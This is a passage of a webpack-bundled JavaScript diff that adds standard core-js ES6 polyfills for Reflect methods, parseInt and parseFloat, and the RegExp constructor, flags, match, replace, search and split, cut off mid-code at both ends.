test = {}; +test[__webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toStringTag')] = 'z'; +if (test + '' != '[object z]') { + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(Object.prototype, 'toString', function toString() { + return '[object ' + classof(this) + ']'; + }, true); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.parse-float.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.parse-float.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $parseFloat = __webpack_require__(/*! ./_parse-float */ "./node_modules/core-js/modules/_parse-float.js"); +// 18.2.4 parseFloat(string) +$export($export.G + $export.F * (parseFloat != $parseFloat), { parseFloat: $parseFloat }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.parse-int.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.parse-int.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $parseInt = __webpack_require__(/*! ./_parse-int */ "./node_modules/core-js/modules/_parse-int.js"); +// 18.2.5 parseInt(string, radix) +$export($export.G + $export.F * (parseInt != $parseInt), { parseInt: $parseInt }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.apply.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.apply.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.1 Reflect.apply(target, thisArgument, argumentsList) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var rApply = (__webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Reflect || {}).apply; +var fApply = Function.apply; +// MS Edge argumentsList argument is optional +$export($export.S + $export.F * !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + rApply(function () { /* empty */ }); +}), 'Reflect', { + apply: function apply(target, thisArgument, argumentsList) { + var T = aFunction(target); + var L = anObject(argumentsList); + return rApply ? rApply(T, thisArgument, L) : fApply.call(T, thisArgument, L); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.construct.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.construct.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.2 Reflect.construct(target, argumentsList [, newTarget]) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js"); +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var bind = __webpack_require__(/*! ./_bind */ "./node_modules/core-js/modules/_bind.js"); +var rConstruct = (__webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Reflect || {}).construct; + +// MS Edge supports only 2 arguments and argumentsList argument is optional +// FF Nightly sets third argument as `new.target`, but does not create `this` from it +var NEW_TARGET_BUG = fails(function () { + function F() { /* empty */ } + return !(rConstruct(function () { /* empty */ }, [], F) instanceof F); +}); +var ARGS_BUG = !fails(function () { + rConstruct(function () { /* empty */ }); +}); + +$export($export.S + $export.F * (NEW_TARGET_BUG || ARGS_BUG), 'Reflect', { + construct: function construct(Target, args /* , newTarget */) { + aFunction(Target); + anObject(args); + var newTarget = arguments.length < 3 ? Target : aFunction(arguments[2]); + if (ARGS_BUG && !NEW_TARGET_BUG) return rConstruct(Target, args, newTarget); + if (Target == newTarget) { + // w/o altered newTarget, optimization for 0-4 arguments + switch (args.length) { + case 0: return new Target(); + case 1: return new Target(args[0]); + case 2: return new Target(args[0], args[1]); + case 3: return new Target(args[0], args[1], args[2]); + case 4: return new Target(args[0], args[1], args[2], args[3]); + } + // w/o altered newTarget, lot of arguments case + var $args = [null]; + $args.push.apply($args, args); + return new (bind.apply(Target, $args))(); + } + // with altered newTarget, not support built-in constructors + var proto = newTarget.prototype; + var instance = create(isObject(proto) ? proto : Object.prototype); + var result = Function.apply.call(Target, instance, args); + return isObject(result) ? result : instance; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.define-property.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.define-property.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.3 Reflect.defineProperty(target, propertyKey, attributes) +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); + +// MS Edge has broken Reflect.defineProperty - throwing instead of returning false +$export($export.S + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + // eslint-disable-next-line no-undef + Reflect.defineProperty(dP.f({}, 1, { value: 1 }), 1, { value: 2 }); +}), 'Reflect', { + defineProperty: function defineProperty(target, propertyKey, attributes) { + anObject(target); + propertyKey = toPrimitive(propertyKey, true); + anObject(attributes); + try { + dP.f(target, propertyKey, attributes); + return true; + } catch (e) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.delete-property.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.delete-property.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.4 Reflect.deleteProperty(target, propertyKey) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f; +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); + +$export($export.S, 'Reflect', { + deleteProperty: function deleteProperty(target, propertyKey) { + var desc = gOPD(anObject(target), propertyKey); + return desc && !desc.configurable ? false : delete target[propertyKey]; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.enumerate.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.enumerate.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 26.1.5 Reflect.enumerate(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var Enumerate = function (iterated) { + this._t = anObject(iterated); // target + this._i = 0; // next index + var keys = this._k = []; // keys + var key; + for (key in iterated) keys.push(key); +}; +__webpack_require__(/*! ./_iter-create */ "./node_modules/core-js/modules/_iter-create.js")(Enumerate, 'Object', function () { + var that = this; + var keys = that._k; + var key; + do { + if (that._i >= keys.length) return { value: undefined, done: true }; + } while (!((key = keys[that._i++]) in that._t)); + return { value: key, done: false }; +}); + +$export($export.S, 'Reflect', { + enumerate: function enumerate(target) { + return new Enumerate(target); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.get-own-property-descriptor.js": +/*!*********************************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.get-own-property-descriptor.js ***! + \*********************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.7 Reflect.getOwnPropertyDescriptor(target, propertyKey) +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); + +$export($export.S, 'Reflect', { + getOwnPropertyDescriptor: function getOwnPropertyDescriptor(target, propertyKey) { + return gOPD.f(anObject(target), propertyKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.get-prototype-of.js": +/*!**********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.get-prototype-of.js ***! + \**********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.8 Reflect.getPrototypeOf(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var getProto = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); + +$export($export.S, 'Reflect', { + getPrototypeOf: function getPrototypeOf(target) { + return getProto(anObject(target)); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.get.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.get.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.6 Reflect.get(target, propertyKey [, receiver]) +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js"); +var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); + +function get(target, propertyKey /* , receiver */) { + var receiver = arguments.length < 3 ? target : arguments[2]; + var desc, proto; + if (anObject(target) === receiver) return target[propertyKey]; + if (desc = gOPD.f(target, propertyKey)) return has(desc, 'value') + ? desc.value + : desc.get !== undefined + ? desc.get.call(receiver) + : undefined; + if (isObject(proto = getPrototypeOf(target))) return get(proto, propertyKey, receiver); +} + +$export($export.S, 'Reflect', { get: get }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.has.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.has.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.9 Reflect.has(target, propertyKey) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Reflect', { + has: function has(target, propertyKey) { + return propertyKey in target; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.is-extensible.js": +/*!*******************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.is-extensible.js ***! + \*******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.10 Reflect.isExtensible(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var $isExtensible = Object.isExtensible; + +$export($export.S, 'Reflect', { + isExtensible: function isExtensible(target) { + anObject(target); + return $isExtensible ? $isExtensible(target) : true; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.own-keys.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.own-keys.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.11 Reflect.ownKeys(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Reflect', { ownKeys: __webpack_require__(/*! ./_own-keys */ "./node_modules/core-js/modules/_own-keys.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.prevent-extensions.js": +/*!************************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.prevent-extensions.js ***! + \************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.12 Reflect.preventExtensions(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var $preventExtensions = Object.preventExtensions; + +$export($export.S, 'Reflect', { + preventExtensions: function preventExtensions(target) { + anObject(target); + try { + if ($preventExtensions) $preventExtensions(target); + return true; + } catch (e) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.set-prototype-of.js": +/*!**********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.set-prototype-of.js ***! + \**********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.14 Reflect.setPrototypeOf(target, proto) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var setProto = __webpack_require__(/*! ./_set-proto */ "./node_modules/core-js/modules/_set-proto.js"); + +if (setProto) $export($export.S, 'Reflect', { + setPrototypeOf: function setPrototypeOf(target, proto) { + setProto.check(target, proto); + try { + setProto.set(target, proto); + return true; + } catch (e) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.set.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.set.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.13 Reflect.set(target, propertyKey, V [, receiver]) +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js"); +var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); + +function set(target, propertyKey, V /* , receiver */) { + var receiver = arguments.length < 4 ? target : arguments[3]; + var ownDesc = gOPD.f(anObject(target), propertyKey); + var existingDescriptor, proto; + if (!ownDesc) { + if (isObject(proto = getPrototypeOf(target))) { + return set(proto, propertyKey, V, receiver); + } + ownDesc = createDesc(0); + } + if (has(ownDesc, 'value')) { + if (ownDesc.writable === false || !isObject(receiver)) return false; + if (existingDescriptor = gOPD.f(receiver, propertyKey)) { + if (existingDescriptor.get || existingDescriptor.set || existingDescriptor.writable === false) return false; + existingDescriptor.value = V; + dP.f(receiver, propertyKey, existingDescriptor); + } else dP.f(receiver, propertyKey, createDesc(0, V)); + return true; + } + return ownDesc.set === undefined ? false : (ownDesc.set.call(receiver, V), true); +} + +$export($export.S, 'Reflect', { set: set }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.constructor.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.constructor.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var inheritIfRequired = __webpack_require__(/*! ./_inherit-if-required */ "./node_modules/core-js/modules/_inherit-if-required.js"); +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var gOPN = __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js").f; +var isRegExp = __webpack_require__(/*! ./_is-regexp */ "./node_modules/core-js/modules/_is-regexp.js"); +var $flags = __webpack_require__(/*! ./_flags */ "./node_modules/core-js/modules/_flags.js"); +var $RegExp = global.RegExp; +var Base = $RegExp; +var proto = $RegExp.prototype; +var re1 = /a/g; +var re2 = /a/g; +// "new" creates a new object, old webkit buggy here +var CORRECT_NEW = new $RegExp(re1) !== re1; + +if (__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && (!CORRECT_NEW || __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + re2[__webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('match')] = false; + // RegExp constructor can alter flags and IsRegExp works correct with @@match + return $RegExp(re1) != re1 || $RegExp(re2) == re2 || $RegExp(re1, 'i') != '/a/i'; +}))) { + $RegExp = function RegExp(p, f) { + var tiRE = this instanceof $RegExp; + var piRE = isRegExp(p); + var fiU = f === undefined; + return !tiRE && piRE && p.constructor === $RegExp && fiU ? p + : inheritIfRequired(CORRECT_NEW + ? new Base(piRE && !fiU ? p.source : p, f) + : Base((piRE = p instanceof $RegExp) ? p.source : p, piRE && fiU ? $flags.call(p) : f) + , tiRE ? this : proto, $RegExp); + }; + var proxy = function (key) { + key in $RegExp || dP($RegExp, key, { + configurable: true, + get: function () { return Base[key]; }, + set: function (it) { Base[key] = it; } + }); + }; + for (var keys = gOPN(Base), i = 0; keys.length > i;) proxy(keys[i++]); + proto.constructor = $RegExp; + $RegExp.prototype = proto; + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(global, 'RegExp', $RegExp); +} + +__webpack_require__(/*! ./_set-species */ "./node_modules/core-js/modules/_set-species.js")('RegExp'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.exec.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.exec.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var regexpExec = __webpack_require__(/*! ./_regexp-exec */ "./node_modules/core-js/modules/_regexp-exec.js"); +__webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js")({ + target: 'RegExp', + proto: true, + forced: regexpExec !== /./.exec +}, { + exec: regexpExec +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.flags.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.flags.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 21.2.5.3 get RegExp.prototype.flags() +if (__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && /./g.flags != 'g') __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f(RegExp.prototype, 'flags', { + configurable: true, + get: __webpack_require__(/*! ./_flags */ "./node_modules/core-js/modules/_flags.js") +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.match.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.match.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var advanceStringIndex = __webpack_require__(/*! ./_advance-string-index */ "./node_modules/core-js/modules/_advance-string-index.js"); +var regExpExec = __webpack_require__(/*! ./_regexp-exec-abstract */ "./node_modules/core-js/modules/_regexp-exec-abstract.js"); + +// @@match logic +__webpack_require__(/*! ./_fix-re-wks */ "./node_modules/core-js/modules/_fix-re-wks.js")('match', 1, function (defined, MATCH, $match, maybeCallNative) { + return [ + // `String.prototype.match` method + // https://tc39.github.io/ecma262/#sec-string.prototype.match + function match(regexp) { + var O = defined(this); + var fn = regexp == undefined ? undefined : regexp[MATCH]; + return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[MATCH](String(O)); + }, + // `RegExp.prototype[@@match]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@match + function (regexp) { + var res = maybeCallNative($match, regexp, this); + if (res.done) return res.value; + var rx = anObject(regexp); + var S = String(this); + if (!rx.global) return regExpExec(rx, S); + var fullUnicode = rx.unicode; + rx.lastIndex = 0; + var A = []; + var n = 0; + var result; + while ((result = regExpExec(rx, S)) !== null) { + var matchStr = String(result[0]); + A[n] = matchStr; + if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode); + n++; + } + return n === 0 ? null : A; + } + ]; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.replace.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.replace.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var advanceStringIndex = __webpack_require__(/*! ./_advance-string-index */ "./node_modules/core-js/modules/_advance-string-index.js"); +var regExpExec = __webpack_require__(/*! ./_regexp-exec-abstract */ "./node_modules/core-js/modules/_regexp-exec-abstract.js"); +var max = Math.max; +var min = Math.min; +var floor = Math.floor; +var SUBSTITUTION_SYMBOLS = /\$([$&`']|\d\d?|<[^>]*>)/g; +var SUBSTITUTION_SYMBOLS_NO_NAMED = /\$([$&`']|\d\d?)/g; + +var maybeToString = function (it) { + return it === undefined ? it : String(it); +}; + +// @@replace logic +__webpack_require__(/*! ./_fix-re-wks */ "./node_modules/core-js/modules/_fix-re-wks.js")('replace', 2, function (defined, REPLACE, $replace, maybeCallNative) { + return [ + // `String.prototype.replace` method + // https://tc39.github.io/ecma262/#sec-string.prototype.replace + function replace(searchValue, replaceValue) { + var O = defined(this); + var fn = searchValue == undefined ? undefined : searchValue[REPLACE]; + return fn !== undefined + ? fn.call(searchValue, O, replaceValue) + : $replace.call(String(O), searchValue, replaceValue); + }, + // `RegExp.prototype[@@replace]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@replace + function (regexp, replaceValue) { + var res = maybeCallNative($replace, regexp, this, replaceValue); + if (res.done) return res.value; + + var rx = anObject(regexp); + var S = String(this); + var functionalReplace = typeof replaceValue === 'function'; + if (!functionalReplace) replaceValue = String(replaceValue); + var global = rx.global; + if (global) { + var fullUnicode = rx.unicode; + rx.lastIndex = 0; + } + var results = []; + while (true) { + var result = regExpExec(rx, S); + if (result === null) break; + results.push(result); + if (!global) break; + var matchStr = String(result[0]); + if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode); + } + var accumulatedResult = ''; + var nextSourcePosition = 0; + for (var i = 0; i < results.length; i++) { + result = results[i]; + var matched = String(result[0]); + var position = max(min(toInteger(result.index), S.length), 0); + var captures = []; + // NOTE: This is equivalent to + // captures = result.slice(1).map(maybeToString) + // but for some reason `nativeSlice.call(result, 1, result.length)` (called in + // the slice polyfill when slicing native arrays) "doesn't work" in safari 9 and + // causes a crash (https://pastebin.com/N21QzeQA) when trying to debug it. + for (var j = 1; j < result.length; j++) captures.push(maybeToString(result[j])); + var namedCaptures = result.groups; + if (functionalReplace) { + var replacerArgs = [matched].concat(captures, position, S); + if (namedCaptures !== undefined) replacerArgs.push(namedCaptures); + var replacement = String(replaceValue.apply(undefined, replacerArgs)); + } else { + replacement = getSubstitution(matched, S, position, captures, namedCaptures, replaceValue); + } + if (position >= nextSourcePosition) { + accumulatedResult += S.slice(nextSourcePosition, position) + replacement; + nextSourcePosition = position + matched.length; + } + } + return accumulatedResult + S.slice(nextSourcePosition); + } + ]; + + // https://tc39.github.io/ecma262/#sec-getsubstitution + function getSubstitution(matched, str, position, captures, namedCaptures, replacement) { + var tailPos = position + matched.length; + var m = captures.length; + var symbols = SUBSTITUTION_SYMBOLS_NO_NAMED; + if (namedCaptures !== undefined) { + namedCaptures = toObject(namedCaptures); + symbols = SUBSTITUTION_SYMBOLS; + } + return $replace.call(replacement, symbols, function (match, ch) { + var capture; + switch (ch.charAt(0)) { + case '$': return '$'; + case '&': return matched; + case '`': return str.slice(0, position); + case "'": return str.slice(tailPos); + case '<': + capture = namedCaptures[ch.slice(1, -1)]; + break; + default: // \d\d? + var n = +ch; + if (n === 0) return match; + if (n > m) { + var f = floor(n / 10); + if (f === 0) return match; + if (f <= m) return captures[f - 1] === undefined ? ch.charAt(1) : captures[f - 1] + ch.charAt(1); + return match; + } + capture = captures[n - 1]; + } + return capture === undefined ? '' : capture; + }); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.search.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.search.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var sameValue = __webpack_require__(/*! ./_same-value */ "./node_modules/core-js/modules/_same-value.js"); +var regExpExec = __webpack_require__(/*! ./_regexp-exec-abstract */ "./node_modules/core-js/modules/_regexp-exec-abstract.js"); + +// @@search logic +__webpack_require__(/*! ./_fix-re-wks */ "./node_modules/core-js/modules/_fix-re-wks.js")('search', 1, function (defined, SEARCH, $search, maybeCallNative) { + return [ + // `String.prototype.search` method + // https://tc39.github.io/ecma262/#sec-string.prototype.search + function search(regexp) { + var O = defined(this); + var fn = regexp == undefined ? undefined : regexp[SEARCH]; + return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O)); + }, + // `RegExp.prototype[@@search]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@search + function (regexp) { + var res = maybeCallNative($search, regexp, this); + if (res.done) return res.value; + var rx = anObject(regexp); + var S = String(this); + var previousLastIndex = rx.lastIndex; + if (!sameValue(previousLastIndex, 0)) rx.lastIndex = 0; + var result = regExpExec(rx, S); + if (!sameValue(rx.lastIndex, previousLastIndex)) rx.lastIndex = previousLastIndex; + return result === null ? -1 : result.index; + } + ]; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.split.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.split.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isRegExp = __webpack_require__(/*! ./_is-regexp */ "./node_modules/core-js/modules/_is-regexp.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var speciesConstructor = __webpack_require__(/*! ./_species-constructor */ "./node_modules/core-js/modules/_species-constructor.js"); +var advanceStringIndex = __webpack_require__(/*! ./_advance-string-index */ "./node_modules/core-js/modules/_advance-string-index.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var callRegExpExec = __webpack_require__(/*! ./_regexp-exec-abstract */ "./node_modules/core-js/modules/_regexp-exec-abstract.js"); +var regexpExec = __webpack_require__(/*! ./_regexp-exec */ "./node_modules/core-js/modules/_regexp-exec.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var $min = Math.min; +var $push = [].push; +var $SPLIT = 'split'; +var LENGTH = 'length'; +var LAST_INDEX = 'lastIndex'; +var MAX_UINT32 = 0xffffffff; + +// babel-minify transpiles RegExp('x', 'y') -> /x/y and it causes SyntaxError +var SUPPORTS_Y = !fails(function () { RegExp(MAX_UINT32, 'y'); }); + +// @@split logic +__webpack_require__(/*! ./_fix-re-wks */ "./node_modules/core-js/modules/_fix-re-wks.js")('split', 2, function (defined, SPLIT, $split, maybeCallNative) { + var internalSplit; + if ( + 'abbc'[$SPLIT](/(b)*/)[1] == 'c' || + 'test'[$SPLIT](/(?:)/, -1)[LENGTH] != 4 || + 'ab'[$SPLIT](/(?:ab)*/)[LENGTH] != 2 || + '.'[$SPLIT](/(.?)(.?)/)[LENGTH] != 4 || + '.'[$SPLIT](/()()/)[LENGTH] > 1 || + ''[$SPLIT](/.?/)[LENGTH] + ) { + // based on es5-shim implementation, need to rework it + internalSplit = function (separator, limit) { + var string = String(this); + if (separator === undefined && limit === 0) return []; + // If `separator` is not a regex, use native split + if (!isRegExp(separator)) return $split.call(string, separator, limit); + var output = []; + var flags = (separator.ignoreCase ? 'i' : '') + + (separator.multiline ? 'm' : '') + + (separator.unicode ? 'u' : '') + + (separator.sticky ? 'y' : ''); + var lastLastIndex = 0; + var splitLimit = limit === undefined ? MAX_UINT32 : limit >>> 0; + // Make `global` and avoid `lastIndex` issues by working with a copy + var separatorCopy = new RegExp(separator.source, flags + 'g'); + var match, lastIndex, lastLength; + while (match = regexpExec.call(separatorCopy, string)) { + lastIndex = separatorCopy[LAST_INDEX]; + if (lastIndex > lastLastIndex) { + output.push(string.slice(lastLastIndex, match.index)); + if (match[LENGTH] > 1 && match.index < 